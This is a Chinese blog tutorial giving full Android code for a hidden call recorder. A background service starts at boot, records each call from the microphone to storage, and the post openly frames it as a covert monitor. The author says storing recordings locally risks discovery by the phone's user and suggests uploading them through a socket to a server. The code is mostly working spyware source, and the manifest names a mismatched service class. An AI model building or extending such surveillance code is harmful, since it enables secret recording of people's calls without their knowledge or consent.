使用Android做一些小工具監聽短信和電話是十分有趣的,上篇寫了關於如何監聽短信,今天要實現的是通過Android監聽電話,即可以獲取通話語音然後將語音進行處理,返回给監聽者。
要實現電話監聽器需要用到Android中的服務Service,服務和我們在Windows中的理解是一样的,即保持後台運行,沒有用戶界面。它運行於系統中不容易被用戶發覺,可以使用它開發如監控之類的程序。
Android中的服務不能自己運行,需要通過調用Contex.startService()或Context.bindService()方法启動服務。這兩個方法都可以启動service,但是它們的使用場合有所不同。使用startService()方法启動服務,訪問者與服務之間沒有關聯,即使訪問者退出了,服務仍然運行。使用bindService()方法启動服務,訪問者與服務绑定在了一起,訪問者一旦退出,服務也就終止。
采用Context.startService()方法启動服務,只能調用Context.stopService()方法結束服務,服務結束時會調用onDestroy()方法。
在Android開發中使用服務分为兩步:
1. 繼承Service類:
public class defservice extends Service {}
2. 在AndroidManifest.xml文件中的<application>節點中對服務進行配置:
<service android:name=".defservice" />
下面我們就通過實例來看一下電話監聽者的實現:
1. 創建一個用於監聽電話狀態並通過各種狀態進行處理的service
1 package com.fanchangfa.phonelistener; 2 3 import java.io.File; 4 import java.io.IOException; 5 6 import android.app.Service; 7 import android.content.Context; 8 import android.content.Intent; 9 import android.media.MediaRecorder; 10 import android.os.Environment; 11 import android.os.IBinder; 12 import android.telephony.PhoneStateListener; 13 import android.telephony.TelephonyManager; 14 15 /** 16 * @author fanchangfa 17 * Android電話監聽器 18 */ 19 public class Phone_listener extends Service { 20 21 @Override 22 public IBinder onBind(Intent arg0) { 23 // TODO Auto-generated method stub 24 return null; 25 } 26 27 @Override 28 public void onCreate() { 29 // TODO Auto-generated method stub 30 super.onCreate(); 31 32 //取得電話管理服務 33 TelephonyManager tele =(TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE); 34 35 //對呼叫狀態進行監聽 36 tele.listen(new phone_state_listener(), PhoneStateListener.LISTEN_CALL_STATE); 37 } 38 39 private final static class phone_state_listener extends PhoneStateListener{ 40 41 /*電話狀態有三種 42 * 1. 來電 43 * 2. 接通(通話中) 44 * 3. 掛斷 45 * */ 46 47 /* (non-Javadoc) 48 * @see android.telephony.PhoneStateListener#onCallStateChanged(int, java.lang.String) 49 * 狀態改變時執行 50 */ 51 52 private String number; //記錄來電號碼 53 private MediaRecorder media; //錄音對象 54 55 private File recorder_file; 56 57 @Override 58 public void onCallStateChanged(int state, String incomingNumber) { 59 super.onCallStateChanged(state, incomingNumber); 60 61 switch(state){ 62 case TelephonyManager.CALL_STATE_RINGING: 63 //來電狀態 64 this.number = incomingNumber; 65 break; 66 67 case TelephonyManager.CALL_STATE_OFFHOOK: 68 //接通狀態 69 70 /* 71 * 注意順序:先實例化存儲文件的目錄及格式,再對各項参數進行設置 72 * */ 73 //實例化輸出目錄及文件名 74 recorder_file = new File(Environment.getExternalStorageDirectory() , 75 number + System.currentTimeMillis() + ".3gp"); 76 77 media = new MediaRecorder(); //實例化MediaRecorder對象 78 79 //設置錄音來源:MIC 80 media.setAudioSource(MediaRecorder.AudioSource.MIC); 81 82 //設置錄音格式为3gp格式 83 media.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); 84 85 //設置MediaRecorder的編碼格式 86 media.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); 87 88 //設置輸出目錄 89 media.setOutputFile(recorder_file.getAbsolutePath()); 90 91 try { 92 media.prepare(); 93 } catch (IOException e) { 94 // TODO Auto-generated catch block 95 e.printStackTrace(); 96 } 97 98 media.start(); 99 100 break; 101 102 case TelephonyManager.CALL_STATE_IDLE: 103 //掛斷電話 104 if(media != null){ //停止錄音 105 media.stop(); 106 media.release(); 107 media = null; 108 } 109 break; 110 } 111 } 112 113 } 114 115 }
2. 在AndroidManifest.xml文件中添加服務以及權限:
1 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 2 package="com.fanchangfa.phonelistener" 3 android:versionCode="1" 4 android:versionName="1.0"> 5 6 <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="15" /> 7 8 <application android:label="@string/app_name" 9 android:icon="@drawable/ic_launcher" 10 android:theme="@style/AppTheme"> 11 12 <service android:name=".Phone_listener1"/> 13 14 <!-- 廣播接受者:開启启動電話監聽器 --> 15 <receiver android:name=".BootPhoneListener"> 16 <intent-filter > 17 <action android:name="android.intent.action.BOOT_COMPLETED"/> 18 </intent-filter> 19 </receiver> 20 21 </application> 22 <uses-permission android:name="android.permission.READ_PHONE_STATE"/> 23 <!-- 在SDCard中創建與刪除文件權限 --> 24 <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> 25 <!-- 往SDCard寫入數據權限 --> 26 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 27 <uses-permission android:name="android.permission.RECORD_AUDIO"/> 28 </manifest>
注意,以上權限一個不能少,必須全部加上。
3. 我們注意到在上面AndroidManifest.xml文件中有一個.BootPhoneListener的廣播接受者,這是因为我們上面說的服務不能自己運行,必須要有東西來激活它,在這裏我們添加一個開機的廣播接收者,即每當開機時都會起動此服務:
1 package com.fanchangfa.phonelistener; 2 3 import android.content.BroadcastReceiver; 4 import android.content.Context; 5 import android.content.Intent; 6 7 /** 8 * @author fanchangfa 9 * 廣播接受者-開機時启動電話監聽器 10 */ 11 public class BootPhoneListener extends BroadcastReceiver { 12 13 @Override 14 public void onReceive(Context context, Intent intent) { 15 // TODO Auto-generated method stub 16 Intent phone_listener = new Intent(context , Phone_listener1.class); 17 context.startService(phone_listener); 18 } 19 20 }
4.基本到此就大功告成了,不過在電話結束後沒有對錄音進行處理,只是保存在手機上,如果真正應用到監聽器上,我們的錄音是不能保存到SDCard上的,因为這样極容易被用戶發現,通過FTP上傳由於有時候用戶通話可能超過一小時,所以文件比較大,最好的辦法是通過Socket上傳到服務器端。有興趣的可以繼續深入。下面我們進行測試,看一下效果,呵呵~
現在有兩個模擬器,一個5554,一個5556,我們把應用部署到5554上,然後再重启5554,此時服務才會启動:
5556call5554界面
文件系統界面
把選中的3gp文件導出,用播放器播放一下試試~~
留言列表